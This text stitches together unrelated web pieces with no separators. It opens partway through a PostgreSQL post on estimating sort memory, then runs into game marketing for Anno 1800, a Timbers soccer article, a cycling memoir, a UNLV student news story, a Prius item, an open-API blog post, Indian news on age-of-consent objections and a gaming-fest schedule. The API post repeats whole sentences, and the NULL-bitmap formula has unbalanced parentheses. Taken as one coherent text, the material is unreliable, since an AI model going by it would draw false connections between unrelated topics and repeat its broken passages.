rjuju =# SELECT stawidth FROM pg_statistic WHERE starelid = 'sort' :: regclass AND staattnum = 2 ; stawidth ---------- 10
Just to be sure, as I didn’t do any ANALYZE on the table:
rjuju =# SELECT avg ( length ( val )) FROM sort ; avg -------------------- 9 . 8889500000000000
So, the average row size is approximatively 14B . PostgreSQL showed the same estimation on the previous EXPLAIN plan, the reported width was 14:
Sort ( cost = 9845 . 82 .. 10095 . 82 rows = 100000 width = 14 ) [...]
NOTE: It’s better to rely on the pg_statistic, because it’s faster and doesn’t consume resources. Also, if you have large fields, they’ll be toasted, and only a pointer will be stored in work_mem, not the entire field
We add the 16B overhead for the MinimalTuple structure and get 30B . This will lead to an allocated space of 32B .
Finally, the table contains 100.000 tuples, we can now compute the memory needed :
( 24 + 16 + 8 + 32 ) * 100000 + 24 = 8000024 B = 7812 , 52 kB
We now find the 7813kB I announced earlier!
This is a very simple example. If you only sort some of the rows, the estimated size can be too high or too low if the rows you sort don’t match the average size.
Also, note that if the data length of a row exceed 8kB (not counting the toasted data), the allocated size won’t be rounded up to the next 2^N multiple.
Wait, what about NULLs?
Yes, this formula was way too simple…
The formula assume you don’t have any NULL field, so it compute the maximum estimated memory needed.
A NULL field won’t consume space for data, obviously, but will add a bit in a bitmap stored in the MinimalTuple.
If at least one field of a tuple is NULL, the bitmap will be created. Its size is:
( number of attribute + 7 ) / 8 ) bytes ( rounded down )
So, if a tuple has 3 integer fields, and two of them are NULL, the data size will not be 16B but:
4 + ( ( 3 + 7 ) / 8 ) = 5 B
You can then try to estimate a better size with the statistic NULL fractions of each attribute, available in pg_statistics.
For the lazy ones
Here’s a simple query that will do the maths for you. It assumes:
only fields from one table is sorted
there are no NULL
all the rows will be sorted
statistics are accurate
WITH RECURSIVE overhead ( n ) AS ( SELECT 1 UNION ALL SELECT n * 2 FROM overhead WHERE n <= 4096 ), width AS ( SELECT starelid , sum ( stawidth ) AS sum FROM pg_statistic GROUP BY 1 ), num_of_lines AS ( SELECT relid , n_live_tup as n FROM pg_stat_user_tables ) SELECT pg_size_pretty ((( 24 + 16 + 8 + max ( o . n ) * 2 ) * ( min ( nol . n ))) + 24 ) FROM overhead o CROSS JOIN pg_class c JOIN pg_namespace n ON c . relnamespace = n . oid JOIN width w ON w . starelid = c . oid JOIN num_of_lines nol ON nol . relid = c . oid WHERE c . relname = 'sort' AND n . nspname = 'public' AND o . n < ( w . sum + 16 ); pg_size_pretty ---------------- 7813 kB
Conclusion
Now, you know the basics to estimate the amount of memory you need to sort your data.
A minimal example was presented here for a better understanding, things start to get really complicated when you don’t only sort all the rows of a single table but the result of some joins and filters.
I hope you’ll have fun tuning work_mem on your favorite cluster. But don’t forget, work_mem is used for more than just sorting tuples!
Welcome to the 19th century, a time of industrialization, diplomacy, and discovery. Rich with technological innovations, conspiracies, and changing allegiances, this era presents the perfect setting for classic Anno gameplay. Anno 1800 provides players ample opportunity to prove their skills as a ruler as they create huge metropolises, plan efficient logistic networks, settle an exotic new continent, send out expeditions around the globe, and dominate their opponents by diplomacy, trade, or warfare.
A CLASSIC ANNO EXPERIENCE
Anno 1800 combines beloved features from 20 years of Anno history. It delivers a rich city-building experience, including a story-based campaign, a highly customizable sandbox mode, and the classic Anno multiplayer experience. Anno 1800 will see the return of beloved features such as individual AI opponents, shippable trade goods, randomly generated maps, multi-session gameplay, items, and more.
NEW FEATURES FOR A NEW AGE
To bring this pivotal historical era to life, Anno 1800 introduces many all-new features to the franchise’s rich tradition. Expeditions allow players to send crews of specialists across the globe as they seek fame and fortune, while the new workforce feature makes managing your factories more demanding and realistic than ever. Finally, players will settle South America as they lay claim to the black gold powering this new age of industry.
CHOOSE YOUR STRATEGY FOR VICTORY
Leading prosperous metropolises requires you to adapt your strategy to new situations. Fulfil the needs of your inhabitants by establishing numerous production chains, deal with other AI rulers sharing your world, and rise to prosperity by building a profitable network of trade routes.
JUMP ABOARD THE ANNO UNION
“He’s been a guy that’s been moved around because we could move him around; we needed him to move around,’’ Porter said of Nagbe. “But where he will produce the most is pretty clear, when you look at the analytics. When he plays center mid, yes, he’ll be good. Plays right wing, he’ll be good. But he produces the most goals at left wing. And we haven’t had the luxury of playing him there all the time, and we’re going to make a commitment to playing him there this year, and I think you’ll see his production come back to 2013.’’
That was the year when Nagbe produced a career-high nine goals, a number that he hasn’t come close to matching in the three seasons since. But Porter believes the addition of Costa Rican defensive midfielder David Guzman this offseason will allow all of the Timbers players to slot into their natural positions. Guzman will play the deep-lying, No. 6 role, Porter said, and that will free up Diego Chara to move forward into an attacking central midfield position, and subsequently allow Nagbe – who scored just one goal in 27 games last season – to move outside to the left wing.
After winning MLS Cup in 2015, the Timbers failed to make the playoffs in 2016 and to make matters worse, their arch rivals, the Seattle Sounders won the championship, which makes the Timbers all the more desperate to get back to contender status – and to do so in a hurry.
Porter said the Timbers will be looking to bring in some younger players the team believes are ready to step up now – players like center back Gbenga Arokoyo, and first round draft pick Jeremy Ebobisse. Portland traded up to get the fourth pick in the MLS SuperDraft in order to select Ebobisse, a 19-year-old striker who many had thought might by the No. 1 pick overall. Porter said the Timbers were thrilled to be able to get Ebobisse, a US U-20 player, who scored seven goals last fall playing college soccer for Duke.
“When you look at Ebobisse, obviously, he fits the profile of the type of no. 9 that we like,’’ Porter said. “He’s strong, he’s got athleticism and soft feet, and he’s shown that he can score goals at every level.’’
With Fanendo Adi serving as the Timbers’ top target forward, Porter said he doesn’t expect Ebobisse to step right into a starting role immediately. But the Timbers are determined to get Ebobisse “meaningful minutes’’ in 2017.
“We’re committed – you have to be committed, once you have guys that you think are good enough – to actually give them the opportunity,'' he said. "So we’re committed to giving these guys a chance.’’
As for me, I was born in North Hollywood, California… but I only lived there for a matter of months before my parents moved to my father’s childhood home in Ohio. We stayed there for a few years before, I’m not sure exactly how, my parents took a trip to the Northwest corner of the USA. I’m pretty sure the story goes something like “we saw the Columbia River Gorge and knew we had found our new home”. So, promptly thereafter we relocated in Vancouver, Washington which, if you look at a map is neither in Washington DC or Vancouver BC. It’s right across the river from Portland, Oregon but dare I say it is culturally much further than a few miles from Portland. Vancouver is a bit of a sleepy eddy next to Portland’s raging torrent. Things move slower there, it isn’t as “cool” in almost any measurable way, but I think the people who live there have a certain pride in their identity, of being a small town next to a big city. I spent most of my formative years in Vancover, but our family also detoured to Argentina for a couple of years in the middle of that. Argentina opened my eyes to the fact that the outside world is not the USA. The USA is very different from the rest of the world, a bubble of sorts.
As far as riding bikes goes, I started at age 10-ish in Argentina because it gave us a huge amount of autonomy and mobility. When not in school we went where we wanted and reported home only for refueling and sleep. Bikes were freedom and we were limited in range seemingly only by curiosity and our legs.
Upon moving back to the US we returned to Vancouver again. Bikes continued. I started reading Mountain Bike Action with my brothers an we became utterly obsessed with mountain bikes. I’m pretty sure that my brothers wouldn’t argue with the fact that I was most obsessed. I memorized each magazine as soon as it arrived. I cataloged all the new parts, read the reviews, dreamed of the unobtainable bikes in the pages and, with my paper route money, eventually started buying some of them.
We tried our hands at racing in the mid ’90s. I took up downhill mountain biking because I was lazy and pretty much though you could coast down the hill for the win. I was wrong, you had to pedal too. The number of times I crossed the finish line at Mount Hood Ski Bowl in a state of untrained asthmatic hurling was… many.
As soon as I was old enough I moved out and I went straight to downtown Portland, Oregon for the obvious reason that Portland was cool and I wanted to live somewhere cool. My bikes came with me to my tiny apartment. Forest Park, Powell Butte, and Browns Camp were my riding jams. I also took a swing at bike commuting but I was a lightweight and stuck to light rail most of the time. Portland was good. Portland was rainy. Portland had not yet consolidated it’s status of one of the centers of the cycling universe but it was well on its way.
Soon I followed my career to back to Los Angeles. I lived in Hollywood so the mountain bike options were limited but I’d dig deep, fight the traffic, and hit the San Gabriels and Santa Monica trails on weekends. It took a lot of work to be a mountain biker in Hollywood. I wanted to ride my bike, I was a biker. But I hated driving to the trails. I didn’t want to get a road bike though. Roadies were wusses. Fancy precious calypso Lycra clad bike clowns. Mountain bikers were rad dirt shredders with grit and dignity! How to reconcile the two? Get a cyclocross bike! With a cyclocross bike I could explore roads and hills but in a court of law still claim that I wasn’t a roadie. I was so clever!
Soon I wanted to ride with friends and… I made some friends with roadies. It turns out that yes, roadies were were good people. Riding with good people who taught me the ropes of riding in congested Los Angeles was the beginning of a new chapter in my life as a cyclist. Road bikes were freedom. Freedom to ride from my door step. Freedom to ride on a limitless concrete trail network. Freedom to squeeze rides in whenever I had a spare hour or two. I became a roadie. I bought an ACTUAL road bike. It was so so so fast! I was a lycra clown too now. Somewhere deep down I’m still a mountain biker, but I do it on a road bike I guess? Life goes on.
About that time I got married and we had our first kiddo on the way and we hit a main crossroads in life. Were we going to try to forge a life in beautiful-yet-insane Los Angeles or retreat to the support network of our families and home turf? The decision was made to return to the Northwest, to my home, to Vancouver. Having read way too many issues of Dwell our heads were filled with images of living the slightly rural life in a sparklingly modern home on generous acreage. We found one such home to the east of Vancouver, Washington. We gutted it, remodeled it, and made it ours.
Our return home to Washington lasted for five years. It was very very tough. We lived in the middle of nowhere. We couldn’t find “our people” or our culture. It rained a lot. It rained A TON. As it turned out our little rural slice of heaven butted right up to the uplift of the Cascade mountain range to the ease. By “butted up” I mean that the mountains started across the street and didn’t stop for a few hundred miles. Heavy clouds arriving from the Pacific ocean greeted our mountain range right on our door step and were too heavy to continue over the top of said mountains. So the clouds did what any reasonable clouds would do: They dumped all of their water in our yard and continued on their merry way.
Our roof leaked more than once. Fixing it was wack-a-mole.
I don’t want to be dramatic here but it isn’t an exaggeration to say that we lived in near perpetual rain while we lived in Washington. It may have been sunny and dry in Vancouver or even Portland, but out east at our rural house next to the foot hills it was probably raining.
I hated the rain.
I want to be totally fair and say that we brought the rain on ourselves by moving where we did, but the rain really crushed us when we returned to Washington. It caught us off guard. As a family it was incredibly difficult and it took a major toll on us. As a person and someone who thrives on being outside exploring, on two wheels, with family and friends, it took a huge toll on me as well. There is a enthusiastic, hardcore cycling community in rural Clark County, Washington where we lived but it was very small and mostly limited to weekend exploits. For five years the majority of my rides were alone and many of them were alone and in the rain. I adapted as well as I could. I layered, I installed fenders, and I headed out into it. Initially I’d come home and laugh at how soaked I was but novelty quickly wore off.
I had many beautiful days out riding those roads and even though I hated the wetness and loneliness of where we lived a funny thing happened: Those roads shaped me as a person and also as a person who rides bikes. On empty roads through fields and dense forests I spent many hours pedaling and meditating. I found new ways to challenge myself. I memorized all of my favorite climbs and taught myself to attack them harder and faster each time up. When the pavement ended I slowly started exploring some gravel roads as a way to mix things up and create new loops. I learned how to be wet and cold and just deal with it. I fought back against loneliness by talking out loud, singing out loud and praying out loud as I pedaled. The cyclist that I was when I lived in Los Angeles was happy but soft. The move to Washington consolidated my person into a tougher, thoughtful, more resilient self.
Eventually my wife and I snapped. After five years of trying to make Washington work first she, then I admitted to ourselves that this was no longer where we were meant to do life. We needed to find where “our people” lived. We needed to find an environment that worked for our family. We needed a city with a thriving culture but less intensity than Los Angeles. We needed mountains that wouldn’t end. We needed four seasons. We needed sunshine. It took a year an a half between realizing that we needed to move and finally selling our house but when the house finally did sell we made a bee line straight to Denver, Colorado.
Denver is our new home. Denver is not perfect. There is no such thing as perfect, but we are very happy here. We found our people here and I really believe that this is where myself and my family are meant to be. I don’t need to write much about Denver and cycling right now because Denver caused Rodeo Labs. Almost every journal entry on this site is the continued telling of that journey and the amazing friends and team mates that are now a part of it.
But I do want to circle back to my original theme: Where we’re from. Where I’m from. I live in Denver, CO now but more than any other place I’m still from Washington State. I realized this on a trip home that we just returned from. Much of my family still lives in the area and we were able to go home for a week to visit. My sister has one of the original five Traildonkeys, with a few quick adjustments it fits me well so I brought my bike gear home with me and hoped to sneak some rides in.
Near the end of our last stretch living in Washington I think it is safe to say that I hated living there, but now that we’ve left there are few things that I love as much as going home. I love seeing family and friends, I love not being an adult because my parents are adults and that demotes me to being a kid. I love seeing old places from growing up, and I love riding my old roads.
You don’t always appreciate what you have while it is right in front of you. In fact, I’ll bet it is a rare thing that people appreciate what they have while they have it. But with distance and the passage of time one begins to appreciate what was. The bad things fade somewhat and the good things shine brighter.
I threw my leg over my sister’s bike and started pedaling towards my old mountains. The temperatures were just a bit above freezing. The clouds hung just above the trees. The hills were almost entirely obscured by a wall of grey moisture as I approached them.
Hi rain. I’m back.
The sound of slick tires on wet blacktop was familiar and comforting. My caution about riding through wet leaves was instantly revived. I waited at a cross walk for the signal to turn and remembered innumerable similar crossings at that exact place in years gone by. The spray of passing cars contributed to my personal humidity level. I wondered if the occupants had strong opinions about rain and if they ever left their climate controlled bubbles.
I continued east. Homes and commercial developments tapered off. Fields and farms emerged. Rain began to fall harder. It didn’t bother me this time. I miss the rain now. I miss ferns, moss, and the smell of dampness. I miss air so cold and heavy that the smoke from fireplaces declares defeat the moment it exits chimneys. Instead of rising it settles in the fields and mingles with the dew to create a smoky mist that is uniquely Northwest, uniquely home.
I turn up a familiar road. My course is set. On a first ride back I can only go one place, my favorite climb in the world: Powell and Rawson road up Larch Mountain. This was MY personal hill for five years. Few people climb it. I’ve climbed it countless times. I know everything about it. If a road can be a person than this road is me: Solitary, foggy, damp, but verdant – bursting with ferns, vine maples, and pine trees. The black top is new and perfectly black with a yellow stripe unbroken from the very bottom to the very top.
Riding this road is meditative. I’m here again. Time has passed, one can feel it. I’m different, my family is different, our lives our different, but this place is the same. Pedaling slowly up the road allows me time to consider big things. Are we happy where we are at? Yes. Am I a good husband, am I a good dad? Maybe, but I can do better. I need to do better.
I’m better at riding bikes now. I could smash this hill now, but I don’t want to. I want this climb to keep going. I gain the first summit at a 4 way intersection having gained a few thousand feet of elevation. The air is colder, the rain is now sleet, but I’m warm from the effort. I’m losing light. I should go home. Cold descents are dangerous.
I can’t go home though. I have to get to the top.
I knew I’d get here so I dressed accordingly. I packed extra dry layers and dry gloves in a backpack for the eventual frigid descent.
I proceed up Forest Service road 1500 as it heads towards the summit of Larch Mountain. I never rode this gravel road when I lived here. What a missed opportunity! Riding a road or even CX bike up this road didn’t seem like a good idea at the time. I’ve changed though. My definitions of good and bad ideas have changed as well. Riding up this road at dusk, in the rain and sleet seems like a good idea now. The road is amazing. Less bumpy than it should be. It is so wet that there are small rivers running down the main double track. Around me there is only dense forest, thick fog, and silence interrupted by the gunshots of people out pulverizing ordinary household objects in the name of fun.
I keep riding up the road as conditions worsen. Why am I doing this? As I walked out the door to start the ride I told my oldest brother that I was off to exorcise some personal demons. It was a joke at the time but now I think riding up this road in these conditions was that. It was an attempt to reconcile the struggle of having lived here with the beauty of returning here older, wiser, and with more perspective.
Where you come from might not be an easy place to have come from. At times it definitely wasn’t for me. But I don’t think that we as humans are only attracted to the pleasant experiences that make us who we are. Who we are is the sum of good and bad, easy and difficult. We are the tension of internal and external factors from across the experiential spectrum. Revisiting where you are from is a wonderful way to see who you’ve become.
I reached the top of Larch. Sleet had turned to snow. Daylight was gone. I had no lights. I got two flat tires. A small wave of concern washed over me but I pushed it aside. I knew I’d somehow finish the ride safely.
I knew these mountains, I knew these roads, because this is my home.
SUN REPORTER Jerry Fink contributed to this story.
UNLV senior Eric Coyle is taking more courses and pursuing more bachelor's degrees than anyone in campus history, but there is a question whether this feat is a credit to higher education.
The university is buzzing because Coyle is taking 64 credit hours this semester, more than four times the normal course load for a full-time student. That load plus his plans to graduate in August with five separate bachelor's degrees are both UNLV records that could stand for decades.
While some of his awestruck professors are speaking in superlatives, other academicians question Coyle's ability to grasp so much material. Defenders of the 23-year-old say he is a once-in-a-generation student who has proven he can do the work. Skeptics argue that what he has been allowed to do raises questions about UNLV's academic standards.
UNLV Registrar Jeff Halverson is among the awestruck.
"From where I sit, it's phenomenal," he said. "I can't imagine how he's doing it because it's such a tremendous load. He's doing half of a bachelor's degree in a single semester. That's phenomenal."
Wayne Becraft, executive director of the American Association of Collegiate Registrars and Admissions Officers in Washington, D.C., is among the disbelievers.
"I've never heard of anyone enrolling for 64 credits in one term or receiving five degrees at one time," Becraft said. "You have no time to study if you go to school all the time. How in the world can he possibly be doing that?
"I'm having trouble imagining how someone can get all the work done, and get everything out of a course."
A Seattle native, Coyle is gambling that his course load and multiple degrees will help him get into one of the nation's top law schools this fall. Among the 14 schools on his list are Harvard, Yale, Georgetown and Stanford. He then hopes to return to Las Vegas and serve as a prosecutor.
"I have to do something to set myself apart from other students," Coyle said. "They'll see I've accomplished a course load that few people have attempted. I don't think I'm very special, but this is something I want more than anything in the world. I want to go to a real good law school."
His accomplishment already has been overshadowed by his allegation that UNLV Provost Douglas Ferraro cursed and grabbed him Feb. 4 in the latter's office. Coyle said Ferraro feared that a planned Rebel Yell campus newspaper story about the six-year student would make it appear the university's classes were too easy.
Ferraro denied attacking Coyle but declined comment pending the outcome of a state attorney general's office investigation into the student's complaint.
"It's best to have the formal process play itself out," Ferraro said.
It takes 124 credits to earn a bachelor's degree at UNLV. Since students must take 30 more credits for each additional degree, Coyle needs 244 to earn his five diplomas. He'll have 231 credits by the end of this semester, and plans to complete his work this summer.
Those 231 credits are misleading, however. He'll actually have taken 298 credits worth of course work by the end of this semester, but 67 of those credits represent repeated classes. UNLV, like most universities, allows students to repeat courses, but they only get to count those credits once.
Though both attempts show up on the student's transcript, only the grade received in the repeated class is figured into the overall grade-point average. Through last year, Coyle took 20 repeat courses, improving his grade each time. He's taking two more repeat courses this semester, but they represent only six of his 64 credits.
Jack Warner, vice chancellor of the Massachusetts Board of Higher Education in Boston, questioned the difficulty of Coyle's course work.
"If he's able to pull it off, in some ways it isn't a good statement about the rigor of the courses he's in," Warner said. "But he must be doing something right. If he's able to do it, in one sense you say more power to him, but it would certainly raise questions about the (academic) standards."
But Coyle said he doesn't think his course load means UNLV is too easy.
"They didn't seem too easy when I first started taking classes," he said. "I struggled when I first came to school."
Coyle didn't exactly set UNLV on fire when he first arrived in 1992. He began as a C student, with a grade-point average barely above 2.0 on a 4-point scale. During his first four years, he never took more than 16 credits a semester. In three of his semesters, he took only nine credits, three below the minimum required to qualify as a full-time student.
He credited political science professor Jerry Simich with giving him his break. In late 1996, Simich helped Coyle land an internship in the Washington office of Sen. Richard Bryan, D-Nev. Coyle handled correspondence with constituents and performed legislative legwork for the senator.
"I always wanted to work as a lawyer and go into politics, so it was a dream to go to D.C.," Coyle said. "Before that I never thought I could go to a good law school. I figured I would just go to any law school that would take me."
Simich viewed his student as a loveable guy who once dyed his hair green. But the professor also saw Coyle as a bright and energetic individual, the type who could thrive in an internship.
"Internships are a very good way for our students to gain resume experience," Simich said. "It gives them experience in the real world so it makes the education more relevant."
That fall Coyle took only 12 credits, including the internship and independent study, but he registered straight A's.
Bryan spokeswoman Karen Kirchgasser said Coyle did a good job for the senator. She said Bryan also is impressed with his drive toward multiple degrees.
"I hope our internship program has that effect on everyone," Kirchgasser said. "We're glad the internship program gave him motivation to pursue his academic career."
When Coyle returned to campus in the spring of 1997 he loaded up on credits. He also yearned to improve his overall grade-point average in order to become better qualified for a top law school.
"I felt it was time to get focused and motivated," he said. "Lack of motivation was my problem for the first couple years in school."
UNLV students in their sophomore through senior years who wish to take more than 18 credits in a semester are required to complete an overload petition that must be approved by faculty advisers.
Coyle gained permission last spring to take 22 credits, which he completed with a 3.45 grade-point average. An informal survey of academicians around the country indicated that most universities also allow overloads, and that 22 credits is about the norm for such petitions.
Last summer, however, Coyle's load skyrocketed to 41 credits, which he completed with a 3.8 GPA. Those 41 credits are somewhat misleading because the summer semester is divided into three mini-sessions. Instead of taking all 41 credits at once, they were spread over those sessions. Still, he was in classrooms from early morning to mid-evening.
Based on Coyle's summer performance, his academic advisers were convinced he could handle the extra course work. In fall, Coyle completed 44 credits, and landed on the dean's honor list with a 3.91 GPA. Entering this semester, he carried a cumulative 3.56 GPA, which is a B plus. He anticipates climbing to an overall A minus by the end of this semester.
Sociology professor Frederick Preston, his department's undergraduate coordinator, was the initial faculty adviser to approve Coyle's overload petition this semester. Preston said he rejects such petitions at least half the time but saw no problem approving Coyle's request, given the student's prior track record with heavy course loads.
"He has an IQ well beyond most people," Preston said. "He's a guy that, if I were to guess, would be nearly off the scale."
Preston had extra insight into Coyle because the student happens to be a pretty fair poker player. Coyle, who has played Texas Hold 'em for mid-level stakes in Strip casinos, once won five consecutive daily poker tournaments at the Desert Inn hotel-casino in 1995.
The professor, who has studied gambling behavior, observed that Coyle has unusually high ability to focus his attention.
"His ability to play poker at that level means he has an extraordinary ability to focus," Preston said. "He is able to concentrate on whatever is before him 100 percent. That's very difficult.
"He's so far off the curve that it would occur to only a very small percentage of students to try to do what he is doing."
Preston scoffed at those who suggest the university's classes must be too easy to permit such a heavy course load.
"Anyone who has qualms about the academic integrity of UNLV simply doesn't know what's going on here," he said. "An academic institution is supposed to be flexible and deal with people's talents."
Sociology Department Chairman David Dickens, who also signed off on Coyle's petition, conceded he was initially skeptical. He decided to consult with Preston and other professors, who convinced him Coyle was an outstanding student.
"I thought this was a bit much, but he showed he has done the work in the past," Dickens said. "I see that our job is to facilitate the student, not just throw out bureaucratic obstacles."
Final petition approval was handed down by Michael Bowers, associate dean of liberal arts. As a testament to Coyle's intellect, Bowers noted that the student scored a 166 on his LSAT, placing him nationally in the 95th percentile of those who took the law school entrance exam.
Bowers predicted Coyle could qualify for any law school in the country. He termed the student's course load "pretty exceptional."
"It really is unheard of and has resulted in a lot of raised eyebrows," Bowers said. "He's a very intense young man. He reminds me of the 12-year-old who goes to Harvard. You see this kind of student once every 20 years."
That Coyle suddenly became a different type of student after years of mediocrity at UNLV remains a mystery to Bowers.
"He started out shaky," Bowers said. "I don't know if he was simply bored. I've seen students not do well, leave for a year or two, go into the military or business world, learn discipline, and come back and do well. My guess is he simply found a goal. A lot of students don't find a goal."
Academicians around the country expressed disbelief when told of Coyle's course load. None had ever heard of such a feat.
Among the skeptics was Gwendolyn Jordan Dungy, executive director of the National Association of Student Personnel Administrators in Washington.
"This just doesn't sound right," she said. "I don't think anything like that has happened before. If you talk about what a college education is all about, I don't think this fits what we had in mind."
She argued that a college education should include participation in campus and other cultural activities, rather than simply going from one class to another.
"If the student is taking 64 credits, he doesn't have the opportunity to do these other things," she said. "I wouldn't hold it up as a model. Education is more than what you can recite on an exam. Otherwise, why have all these other parts of a college institution?"
Warner also said he had never heard of anyone like Coyle.
"Maybe something approaching 25 or 28 credits, but certainly not in the neighborhood of 64," Warner said. "That's pretty remarkable. One of the challenges is, are there enough hours in the day to schedule the class work or related lab work?"
Another skeptic was Simich. He said that if he were Coyle's faculty adviser he probably wouldn't have approved the 64-credit overload petition because of concerns about the student's ability to handle so much work.
"I was skeptical at first that he was completing these credits so I asked for proof and he provided it," Simich said. "I have the transcript in front of me. If he does the work, he does the work. Some people might see that as a reflection on the university, but what can I say?"
Coyle, in fact, has become a member of the university's political science honor society and attends its meetings.
"From time to time I see students who take 21, 24, up to 27 credits," Simich said. "But what he's doing is obviously not physically or intellectually impossible. After all, don't we have people who work 80 hours a week?"
To be sure, Coyle looks trim and fit. He plays golf and basketball on weekends. But he averages only 3 1/2 hours of sleep on week nights, and survives on junk food. More often than not, he eats on the run, slipping into drive-through restaurants on his way to class or work study.
"I'm a heart attack waiting to happen," he said. "But I don't feel sleep deprived. I usually wake up before my alarm. I look forward to going to class."
The typical UNLV undergraduate carries close to 15 credits, or about five courses each semester.
By comparison, Coyle is juggling 16 courses this semester, including two English classes over the Internet. He's also participating in three work study programs, reporting to Rep. Jim Gibbons, R-Nev., Nevada State Bank and the Clark County district attorney's office. Gibbons uses several interns, but his chief of staff, Mike Dayton, said Coyle is the first from UNLV.
"They say he's very professional and very reliable about coming into the office," Dayton said.
Coyle also is preparing a senior thesis, surveying the Shoalwater Bay Indian tribe in Washington state to determine its views on the use of Native American logos by sports teams.
He's on schedule to graduate in August with degrees in political science, criminal justice, sociology, psychology and communication.
Coyle boasted that he has a near-perfect class attendance record, even though he conceded he sometimes has to fight fatigue. Preston recalled that Coyle apologized after missing one class because he fell asleep in a student lounge. But Preston and other professors said Coyle is sharp in class.
"You just really have to know your limits," Coyle said. "Time management is the key for me."
His girlfriend, UNLV sophomore Mindy Dhooghe, said Coyle's motivation and enthusiasm are rubbing off on her.
"Because of him I'm going for three degrees," she said. "He makes everyone around him strive to do better. He's a 24-hour guy. He only needs three to four hours of sleep a day, but I don't know how he does it."
When the fourth-generation Prius is launched, it will offer a nickel metal-hydride pack as before, and a lithium-ion pack on upline trim levels, said a senior manager in Japan last week.
The plug-in hybrid version of the Prius already offers li-ion as standard, and Koei Saga, senior managing officer in charge of powertrain also said all-wheel drive is being seriously considered.
“I think we will possibly do it,” said Saga, while confirming the two different battery packs for the car that will also utilize Toyota’s modular New Global Architecture.
Saga provided no details on the new hybrid system other than it will be smaller and lighter, but in keeping with previous reports estimating 10-percent increased mpg or more, and sportier performance, he said it will be impressive.
“The batteries will be renewed. Everything will be revised. And I think we will come up with a fuel economy that will surprise everyone,” Saga said.
Open data, although great, isn’t enough on it’s own.
Data needs people to make it accessible, understood, and shareable.
This is where APIs come in.
Image Source
What is an API?
APIs, application programming interfaces, are the guidelines that allow applications to talk to one another.
APIs are awesome.
They increase your data’s accessibility for both you and 3rd parties, while also helping to shape a better user experience due to their uniform protocols.
They are almost everywhere. You can find them driving the apps on your cell phone and desktop, and connecting applications. APIs are why you can Tweet, Facebook, and Instagram your posts with a single click.
Some APIs are private and therefore can only be used by developers that have access (usually that companies employees), others are public or open.
The use of open APIs has become increasingly popular. Some naysayers worry about how this can negatively affect a business. They worry about giving access to parts of their company/information, but with open APIs 3rd parties are able to create and build on the service/product and therefore help make it better.
It’s a win/win in our opinion.
API Calls via Tsahi Levent-Levi
The darkside to APIs
As more companies are opening their APIs, some really cool stuff is happening. We are finding widgets, applications, extensions, etc. that are making user experience better. The downside to this is that the developers working on these projects have little control. If the company decides to close the API, change the license they have full control so developers can be left up a creek with no paddle.
These issues aren’t as prevalent within the open data community. The motives behind sharing the data are based on providing accessibility and usability of the data and they recognize that making open APIs means their data is getting shared.
Open Data <3 Open API
As open data organizations move toward sharing their data through open APIs, there is an increase in developer interest and the creation of open data platforms. This is important; it’s not enough for the data to just be there, it needs to be accessible.
Programmers are hungry and creative people. You give them an open API and beautiful things happen. Data visualizations, mobile applications. The possibilities are endless.
Why are open apis important for open data?
Very few people use the hard datasets in raw format, mostly analyst and policymakers that enlist the data in the first place. Open APIS allow for greater syndication of the data.
mostly analyst and policymakers that enlist the data in the first place. Open APIS allow for greater syndication of the data. Developers don’t want a hassle. Downloading and manipulating files is a pain in the a$$. They desire free and well documented APIs for better accessibility and in turn create web applications, data visualizations and more.
Downloading and manipulating files is a pain in the a$$. They desire free and well documented APIs for better accessibility and in turn create web applications, data visualizations and more. Data collection is easier. No downloading files, no paper pushing, the data is right there; ready to be used.
What needs to be considered for open APIs?
Documentation is the MOST important aspect to your API. Cathy Deng from datamade provides a great blog post on documentation and how to do it right.
“Why is it important?”, you ask.
These are the guidelines to using your API they help you with troubleshooting and they let developers know what they can and can’t do.
Don’t forget to add a license to help eliminate any confusion. Opendefinition.org has a great resource for licenses.
Are you ready to be a Data Detective?
Build something with an Open API. Here is a short list of websites that have data waiting to come alive through Open APIs.
Some of the groups are asking Prime Minister Manmohan Singh to withdraw the proposal.
The Jamaat Islami Hind, the All India Muslim Personal Law Board and the Muslim Majlis Mushwarat, an apex body of Muslim social and religious groups, said the move will have "dangerous consequences" for the society.
The government must abandon the proposal, they said.
While consensual sex is itself a social evil, lowering the age limit for sex outside marriage will prove detrimental for social values and India's family structure, said Nusrat Ali of Jamaat Islami Hindi.
A group of ministers headed by Finance Minister P Chidambaram has decided that the age for consensual sex will be lowered from 18 to 16 years. The central government formed the group to finalize the anti-rape law.
Ali said this provision would lead to "sexual anarchy" in India as schoolgoing children aged 16 and above will get involved in sexual activities.
"We are of the view that sex (outside marriage) should be a crime. It must be a punishable offense irrespective of the age limit," Ali said.
"As for lowering the age limit for consensual sex, this will lead to an unimaginable socially corrupt situation in the society.
"Not only this, this provision will increase crime against women rather than controlling it. We want the government to withdraw it and declare sex outside marriage a cognizable offence," he said.
Maulana Ahmed Ali Quasi of the Muslims Majlis Mushwarat shared the sentiments.
He said the government should have sought the opinion of religious groups on this sensitive issue.
"One must visualise its impact on the whole society," he said. "It will harms the Indian social system."
The All India Muslims Personal Law Board also opposed the move.
"It is an irony that the government proposes to lower the age of sex to 16 when the marriagable age is for girls in 18," senior functionary Abdul Rahim Quereshi said.
At NOLA Gaming Fest, thousands of attendees will have the opportunity to learn, compete, and play in many ways, including structured tournaments on PC, console, and tabletop games. We will also be bringing in local indie game makers, artists, and vendors to keynote, participate in panels, and demo their games and products. Casual player will have plenty of opportunies to play free games with friends and enjoy our Virtual Realilty lounge powered by High Voltage Software and Oculus.
All attendees must read and abide by our code of conduct, violations of this code may result in your immediate removal from NOLA Gaming Fest. igl.gg/policies
Schedule
Please note that tournaments may take both days to complete so plan on attending both days. All Tournament times are subject to changes depending on the amount of entries.
All Day Saturday and Sunday
Retro Gaming
VR Lounge
Artist/Vendor Booths
Free Play area
Saturday
10:00 - All Tournament Registration
11:00 - (Ultimate Marvel vs. Capcom 3)
12:00 - (Super Smash Bros. for Wii U Teams)(Halo 5: Guardians)(Student Madden 17)(Student League of Legends)(King of Fighters XIV)(Project M Teams)
1:00 - (BlazBlue: Central Fiction)
2:00 - (Student Hearthstone)
3:00 - Panels
4:00 - (Student Overwatch)(NBA 2K17 PS4)(Call of Duty: Infinite Warfare)(Project M Singles)(Mortal Kombat XL top 8)(Student Rocket League)(Super Smash Bros. for Wii U Singles)(Super Smash Bros. Melee Teams)(Street Fighter V top 8)(Student Mario Kart)(Student (Super Smash Bros. for Wii U)
5:00 - (Star Wars X-Wing Miniatures Game)
6:00 - (Overwatch PC)(Student Super Smash Bros. Melee)
